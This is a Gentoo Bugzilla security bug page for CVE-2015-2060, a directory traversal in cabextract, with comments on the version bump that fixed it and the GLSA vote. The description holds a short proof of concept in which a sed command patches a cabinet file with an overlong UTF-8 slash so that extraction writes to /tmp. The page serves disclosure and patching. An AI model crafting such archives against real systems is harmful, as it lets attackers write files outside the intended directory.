Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 540626 (CVE-2015-2060) - <app-arch/cabextract-1.5: directory traversal with UTF-8 symbols in filenames (CVE-2015-2060)
Summary: <app-arch/cabextract-1.5: directory traversal with UTF-8 symbols in filenames...
Status: RESOLVED FIXED
Alias: CVE-2015-2060
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: Normal minor (vote)
Assignee: Gentoo Security
URL: https://bugzilla.redhat.com/show_bug....
Whiteboard: B4 [noglsa]
Keywords:
Depends on:
Blocks:
 
Reported: 2015-02-19 09:20 UTC by Agostino Sarubbo
Modified: 2015-06-30 22:31 UTC (History)
1 user (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Agostino Sarubbo gentoo-dev 2015-02-19 09:20:35 UTC
From ${URL} :

It was reported [1] that cabextract is susceptible to a directory traversal vulnerability. While extracting files from an archive, it removes leading slashes from filenames but does it before possibly decoding UTF-8 and doesn't check for invalid UTF-8. Hence an 
absolute filename can be shoved through by using overlong encoding for the leading slash (and setting utf8 attribute in the header). This can be exploited by a malicious archive to write files outside the current directory.

Illustration:

$ touch xxxxxxxxxx
$ lcab xxxxxxxxxx test.cab
$ sed -i 's|\x20\x00xxxxxxxxxx|\xa0\x00\xe0\x80\xaftmp/abs|g' test.cab
$ rm xxxxxxxxxx

$ ls /tmp/abs
ls: cannot access /tmp/abs: No such file or directory

$ ./cabextract test.cab
Extracting cabinet: test.cab
  extracting /tmp/abs

All done, no errors.

$ ls /tmp/abs
/tmp/abs

In the sed command above, \xe0\x80\xaf is an overlong encoding for '/', \xa0\x00 are flags updated to include utf-8 flag.

The issue was found in cabextract 1.4 and 2-byte encoding (\xc0\xaf) was enough to hide '/'. cabextract 1.5 tightened utf-8 checks and 3-byte encoding is now necessary.

The issue was reported to Stuart Caie today and fixed in less than 4h:

http://sourceforge.net/p/libmspack/code/217/

Another release of cabextract is expected in the next few days.

[1]: http://seclists.org/oss-sec/2015/q1/587


@maintainer(s): after the bump, in case we need to stabilize the package, please let us know if it is ready for the stabilization or not.
Comment 1 Ben de Groot (RETIRED) gentoo-dev 2015-03-29 11:26:22 UTC
+  29 Mar 2015; Ben de Groot <yngwin@gentoo.org> +cabextract-1.6.ebuild,
+  -cabextract-1.3.ebuild, cabextract-1.4.ebuild, metadata.xml:
+  Version bump, which fixes security bugs #538152 and #540626. Bump EAPI. Rename
+  extra-tools useflag to extras (bug #411643). Remove old.

Not sure if this and bug #538152 can be considered a duplicates? One GLSA should probably be enough to cover this.
Comment 2 Ben de Groot (RETIRED) gentoo-dev 2015-04-05 04:43:32 UTC
STABLEREQ in bug 538152
Comment 3 Yury German Gentoo Infrastructure gentoo-dev 2015-05-13 23:13:06 UTC
GLSA Vote: No
Comment 4 Tobias Heinlein (RETIRED) gentoo-dev 2015-06-30 22:31:08 UTC
NO too, closing.